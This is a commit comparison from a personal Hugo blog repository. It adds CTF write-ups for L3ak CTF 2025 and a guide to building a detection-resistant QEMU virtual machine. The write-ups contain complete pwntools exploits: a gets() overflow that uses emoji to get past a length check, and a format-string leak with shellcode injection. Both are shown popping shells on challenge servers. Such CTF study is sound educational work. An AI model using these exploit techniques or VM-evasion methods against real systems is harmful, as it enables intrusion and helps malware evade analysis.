Compare commits

...

12 Commits

Author SHA1 Message Date
807fe13cc4 Improve hidden_vm post 2026-02-17 18:19:21 +01:00
9553003d92 Add gitea link 2026-02-17 18:08:08 +01:00
ceeab8390c Delete canary page
No more canary it's fun but kinda useless
2025-12-08 17:15:42 +01:00
f535ee938e Remove mention of example from hidden vm 2025-09-27 18:41:37 +02:00
8265c529e3 Add hidden vm post 2025-09-02 15:27:44 +02:00
6afc45c3b9 Changed main page description 2025-08-31 21:20:09 +02:00
eee392c719 Fix canary style 2025-07-27 23:47:18 +02:00
c3fe965341 Add canary 2025-07-27 20:35:07 +02:00
7df580044e Adds l3ak ctf 2025 2025-07-14 09:27:19 +02:00
863fdff225 Change draft statues to true 2025-07-09 18:46:18 +02:00
15bc9157e8 Fix raw html false positive
The markdown renderer thinks everything that is between < and > is html.
So place a placeholder between backticks so it can render.
2025-06-27 15:37:28 +02:00
8a3f9d77da Adds new welcome post 2025-06-27 15:36:37 +02:00
16 changed files with 563 additions and 20 deletions

View File

@@ -1,7 +0,0 @@
+++
date = '2025-06-23T14:24:30+02:00'
draft = true
title = 'Canary'
+++
Coming soon.

View File

@@ -1,5 +1,5 @@
+++ +++
draft = true draft = false
date = 2025-06-24T14:21:07+02:00 date = 2025-06-24T14:21:07+02:00
title = "" title = ""
description = "" description = ""

140
content/posts/hidden_vm.md Normal file
View File

@@ -0,0 +1,140 @@
+++
draft = false
date = 2025-08-31T21:27:35+02:00
title = "How to create a stealthy VM"
description = "How to create a hard to detect virtual machine using QEMU."
+++
Updates :
- v2 (17/02/2026) : Update to qemu-10.2.0 and clear up some stuff
This article explains how to create a stealthy virtual machine that can be used for multiple things.
I made this for my personnal use so there is still room for improvement.
Virtual machine detection can be done in a lot of ways however,
except for the most basic ones it always revolves around identifying markers that are hard coded into the hypervisor.
For example [PCI ID's](https://en.wikipedia.org/wiki/PCI_configuration_space#Standardized_registers), plug and play devices names, etc
To defeat this in addition to configuring the VM so it doesn't appear like one we will have to patch and compile the hypervisor.
## 1. Compiling QEMU
⚠️ *Always maintain an installation of QEMU managed by your package manager, because it may delete necessary runtime dependencies otherwise! The binaries you compile are saved in **/usr/local/bin**, so they will take precedence.*
### Build dependencies
**Arch**:
`sudo pacman -S git wget base-devel glib2 ninja python`
**Ubuntu**:
`sudo apt install git build-essential ninja-build python-venv libglib2.0-0 flex bison`
### Patching and building QEMU
Go to the directory where you want to keep the sources and run
{{< highlight bash >}}
wget https://git.furtest.fr/furtest/.profile/raw/branch/main/qemu_patch/qemu-10.2.0.patch
wget https://download.qemu.org/qemu-10.2.0.tar.xz
tar xvJf qemu-10.2.0.tar.xz
cd qemu-10.2.0
git apply ../qemu-10.2.0.patch
./configure --disable-werror
make -j$(nproc)
sudo make install
{{< /highlight >}}
For some reasons the build fails with Werror enabled so we disable it.
If you only need the x86_64 system hypervisor you can add `--target-list=x86_64-softmmu` to the configure command which will significantly shorten the compile time.
## 2. Creating the VM
You need to make the following changes to your vm configuration :
(if you do not know how to create a VM using qemu check out [virt-manager](https://virt-manager.org/))
- Use **BIOS** not UEFI
- Change the MAC address (eg: 8c:1f:66:b8:67:84)
- Set the video to VGA
- Each of those snippets are things you need to have in your config, some of the text (like the `</hyperv>` ) is here for you to locate where to put the thing.
{{< highlight html >}}
<cpu mode='host-model' >
<feature policy='disable' name='hypervisor'/>
</cpu>
{{< /highlight >}}
{{< highlight html >}}
<kvm>
<hidden state='on'/>
</kvm>
</features>
{{< /highlight >}}
{{< highlight html >}}
<vendor_id state='on' value='blackmega'/>
</hyperv>
{{< /highlight >}}
**In the uuid field below replace with your uuid (top of the file)**
{{< highlight html >}}
<vcpu placement='static'>6</vcpu>
<sysinfo type='smbios'>
<bios>
<entry name='vendor'>Dell Inc.</entry>
<entry name='version'>2.5.2</entry>
<entry name='date'>01/28/2015</entry>
<entry name='release'>2.5</entry>
</bios>
<system>
<entry name='manufacturer'>Dell Inc.</entry>
<entry name='product'>PowerEdge R720</entry>
<entry name='version'>Not Specified</entry>
<entry name='serial'>H5DR542</entry>
<entry name='uuid'>SHOULD MATCH THE UUID OF THE DOMAIN .. CHECK THE ELEMENT uuid ABOVE</entry>
<entry name='sku'>SKU=NotProvided;ModelName=PowerEdge R720</entry>
<entry name='family'>Not Specified</entry>
</system>
<baseBoard>
<entry name='manufacturer'>Dell Inc.</entry>
<entry name='product'>12NR12</entry>
<entry name='version'>A02</entry>
<entry name='serial'>.5KT0B123.ABCDE000000001.</entry>
<entry name='asset'>Not Specified</entry>
<entry name='location'>Null Location</entry>
</baseBoard>
<chassis>
<entry name='manufacturer'>Lenovo</entry>
<entry name='version'>none</entry>
<entry name='serial'>J30038ZR</entry>
<entry name='asset'>none</entry>
<entry name='sku'>Default string</entry>
</chassis>
<oemStrings>
<entry>myappname:some arbitrary data</entry>
<entry>otherappname:more arbitrary data</entry>
</oemStrings>
</sysinfo>
{{< /highlight >}}
## 3. Installing windows
During the windows installation there are 2 annoying things
- Windows 11 hardware requirements.
- Microsoft forcing you to connect to a microsoft account.
Once the installer has started open a cmd with `shift F10` and run `regedit`.
Then go to `KEY_LOCAL_MACHINE\SYSTEM\Setup`, create a new key called `LabConfig` and inside three DWORD values
- BypassTPMCheck = 1
- BypassSecureBootCheck = 1
- BypassRAMCheck = 1
To use a local account :
1. Configure until the windows installation is done which is when you have to choose the language again.
2. Then open a cmd again and run `OOBE\BYPASSNRO`
3. Wait for reboot
4. Once rebooted run `ipconfig /release` (if you forget you will have to go from step 1 again)
## Sources
- Most of this was inspired by : https://github.com/zhaodice/qemu-anti-detection
- Windows requirement bypass : https://www.tomshardware.com/how-to/bypass-windows-11-tpm-requirement
- Things about the VM configuration : https://r0ttenbeef.github.io/Deploy-Hidden-Virtual-Machine-For-VMProtections-Evasion-And-Dynamic-Analysis/

8
content/posts/welcome.md Normal file
View File

@@ -0,0 +1,8 @@
+++
draft = false
date = 2025-06-27T15:34:17+02:00
title = "Welcome to my website"
+++
This post is mostly here so the blog category is not empty and also to introduce this new website where I will post ctf writeups and maybe make some blog posts to go with that.

View File

@@ -1,6 +1,6 @@
+++ +++
date = '2023-12-11T23:00:00+02:00' date = '2023-12-11T23:00:00+02:00'
draft = true draft = false
title = 'Hack the Box university ctf' title = 'Hack the Box university ctf'
+++ +++

View File

@@ -10,7 +10,7 @@ Points: 25
Number of solves: 512 Number of solves: 512
Description: Description:
Here is a logic circuit that implements an unknown function. What is the value of the four output bits? Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
The flag format is FCSC{<value>}. For example, if the value to find is 0001, the flag would be FCSC{0001}. The flag format is `FCSC{<value>}`. For example, if the value to find is 0001, the flag would be FCSC{0001}.
![Circuit picture](./baddcircuit.png) ![Circuit picture](./baddcircuit.png)

View File

@@ -0,0 +1,7 @@
+++
date = '2025-07-14T09:11:19+02:00'
draft = false
title = 'L3ak ctf'
+++
A ctf that seems to be fairly big, I didn't spend much time on it so only solved 2 rather easy pwn challenges.

Binary file not shown.

View File

@@ -0,0 +1,53 @@
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
exe = local_exe
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.SSH:
exe = remote_exe
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
return s.process([exe] + argv)
else: # Run locally
exe = local_exe
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
break main
break *main+202
'''.format(**locals())
# USE ./filename otherwise gdb will not work
local_exe = './chall'
remote_exe = 'REMOTE'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(local_exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
#context.log_level = 'debug'
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
payload = flat(
b"A"*74,
b"\x00",
"😄".encode("utf-8")*50,
b"A"*5,
pack((elf.symbols.win)+5)
)
write("payload", payload)
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
# Receive the flag
io.interactive()

View File

@@ -0,0 +1,103 @@
+++
date = '2025-07-14T09:16:19+02:00'
draft = false
title = 'Safe Gets'
tags = [ "pwn" ]
+++
description: I think I found a way to make gets safe.
Author: White
We are given a program and a python wrapper around it.
## Main program
Let's start with the program after a quick pass through ghidra
```C
int main(void)
{
size_t input_len;
char buffer [259];
char local_15;
int input_len_2;
ulong i;
gets(buffer);
input_len = strlen(buffer);
input_len_2 = (int)input_len;
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
local_15 = buffer[(long)(input_len_2 + -1) - i];
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
buffer[i] = local_15;
}
puts("Reversed string:");
puts(buffer);
return 0;
}
void win(void)
{
system("/bin/sh");
return;
}
```
It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function.
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
```
[*] 'l3ak_ctf/pwn/safe_gets/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
## Python wrapper
Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255.
```python
BINARY = "./chall"
MAX_LEN = 0xff
# Get input from user
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
if len(payload) > MAX_LEN:
print("[-] Input too long!")
sys.exit(1)
```
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
## Solve
So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long.
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
Here is my solve script (the interesting part).
```python
io = start()
payload = flat(
b"A"*74,
b"\x00",
"😄".encode("utf-8")*50,
b"A"*5,
pack((elf.symbols.win)+5)
)
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
io.interactive()
```
And when running it we get the flag.
```
>>> ./exploit.py REMOTE 34.45.81.67 16002
[+] Opening connection to 34.45.81.67 on port 16002: Done
[*] Switching to interactive mode
$ cat flag.txt
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
[*] Interrupted
[*] Closed connection to 34.45.81.67 port 16002
```

Binary file not shown.

View File

@@ -0,0 +1,62 @@
#!/usr/bin/python3
from pwn import *
import subprocess
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
exe = local_exe
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.SSH:
exe = remote_exe
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
return s.process([exe] + argv)
else: # Run locally
exe = local_exe
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
break *highscore+276
'''.format(**locals())
# USE ./filename otherwise gdb will not work
local_exe = './chall'
remote_exe = 'REMOTE'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(local_exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
#context.log_level = 'debug'
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)
io.sendlineafter(b"what's your name again?", b'%p')
stack = int(io.recv().decode().split()[1], 16)
stack -= 0x126 # Offset to our buffer
# Space before return pointer 376
sh = asm(shellcraft.amd64.linux.sh())
payload = flat(
asm('nop')*100,
sh,
b'A'*(376-100-len(sh)),
pack(stack)
)
io.sendline(payload)
io.interactive()

View File

@@ -0,0 +1,168 @@
+++
date = '2025-07-14T09:16:28+02:00'
draft = false
title = 'The goose'
tags = [ "pwn" ]
+++
description: When the honking gets tough, you better brush up on your basics.
Author: dsp
For this challenge we are given the binary and the Dockerfile
```
>>> pwn checksec --file=chall <<<
[*] 'l3ak_ctf/pwn/the_goose/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
```
No stack canary and executable stack we can already guess this will involve a shellcode.
## Exploration
```
>>> the_goose ./chall
Welcome to the goose game.
Here you have to guess a-priori, how many HONKS you will receive from a very angry goose.
Godspeed.
How shall we call you?
> GOD
so GOD. how many honks?10
HONK ... HONK
tough luck. THE GOOSE WINS! GET THE HONK OUT!
```
So it seems like we have to guess the number of HONKs from the goose.
Let's fire up ghidra and look at what we facing.
```C
int main(void)
{
int iVar1;
time_t tVar2;
setvbuf(stdout,(char *)0x0,2,0);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
setuser();
iVar1 = rand();
nhonks = iVar1 % 0x5b + 10;
iVar1 = guess();
if (iVar1 == 0) {
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
}
else {
highscore();
}
return 0;
}
```
The number of honks are generated by `rand()` which is seeded with the current time.
If we correctly guess the number of honks we go inside of the highscore function.
```C
void highscore(void)
{
undefined message_buffer [128];
char buffer_random [31];
undefined local_d9;
undefined name_buffer [32];
char success_message [74];
/* The message is written one char at a time I placed everything on the same line to make it readable */
success_message = "wow %s you\'re so go what message would you like to leave to the world?"
success_message[0x49] = '\0';
printf("what\'s your name again?");
scanf("%31s",name_buffer);
local_d9 = 0;
sprintf(buffer_random,success_message,name_buffer);
printf(buffer_random);
read(0,message_buffer,0x400);
printf("got it. bye now.");
return;
}
```
The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it.
So there are two steps to this challenge :
1. Guessing the number of honks
2. Exploiting the `highscore` function to get a shell
## Guessing the number of honks
The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`.
We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`).
From there we can easily compute the number with a small C program
```C
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
srand(time(NULL));
printf("%d", (rand() % 0x5b + 10));
return 0;
}
```
After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time).
```python
number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)
```
## Exploiting the highscore function
Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX).
The only problem is finding the address of something on the stack to be able to jump to our shellcode.
This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack.
The last step is to calculate the offsets and finish writing the exploit scrip
## Putting it all together
```python
io = start()
number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)
io.sendlineafter(b"what's your name again?", b'%p')
stack = int(io.recv().decode().split()[1], 16)
stack -= 0x126 # Offset to our buffer
# Space before return pointer 376
sh = asm(shellcraft.amd64.linux.sh())
payload = flat(
asm('nop')*100,
sh,
b'A'*(376-100-len(sh)),
pack(stack)
)
io.sendline(payload)
io.interactive()
```
We run it and there we go
```
>>> ./exploit.py REMOTE 34.45.81.67 16004 <<<
[+] Opening connection to 34.45.81.67 on port 16004: Done
[*] Switching to interactive mode
got it. bye now.$ cat /flag.txt
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
[*] Interrupted
[*] Closed connection to 34.45.81.67 port 16004
```

View File

@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
srand(time(NULL) + 1);
printf("%d", (rand() % 0x5b + 10));
return 0;
}

View File

@@ -9,6 +9,3 @@ title = 'SCALE 22x'
I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers. I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers.
The CTF lasted 2h30 and me and a friend were able to get first place. The CTF lasted 2h30 and me and a friend were able to get first place.
- Web
- [artist](./web.md)
- [the_dev_robots](./web.md)

View File

@@ -1,4 +1,4 @@
baseurl = "furtest.fr" baseurl = "https://furtest.fr/"
title = "furtest's website" title = "furtest's website"
theme = "hugo-coder" theme = "hugo-coder"
languagecode = "en" languagecode = "en"
@@ -12,7 +12,7 @@ style = "github-dark"
[params] [params]
author = "furtest" author = "furtest"
info = "Libre software advocate; privacy & cybersecurity enthusiast; low-level development enjoyer." info = "FOSS software fan and linux user, I enjoy low level development and cybersecurity. Currently learning digital electronics."
description = "furtest's website and ctf writeups" description = "furtest's website and ctf writeups"
copyright = "Paul Retourné" copyright = "Paul Retourné"
license = "GNU GPLv3" license = "GNU GPLv3"
@@ -35,10 +35,16 @@ style = "github-dark"
tag = "tags" tag = "tags"
author = "authors" author = "authors"
[[params.social]]
name = "Gitea"
icon = "fa-brands fa-git-alt fa-2x"
weight = 1
url = "https://git.furtest.fr/furtest/"
[[params.social]] [[params.social]]
name = "Github" name = "Github"
icon = "fa-brands fa-github fa-2x" icon = "fa-brands fa-github fa-2x"
weight = 1 weight = 2
url = "https://github.com/furtest/" url = "https://github.com/furtest/"
[[menu.main]] [[menu.main]]
@@ -49,7 +55,3 @@ style = "github-dark"
name = "Blog" name = "Blog"
weight = 2 weight = 2
url = "posts" url = "posts"
[[menu.main]]
name = "Canary"
weight = 3
url = "canary"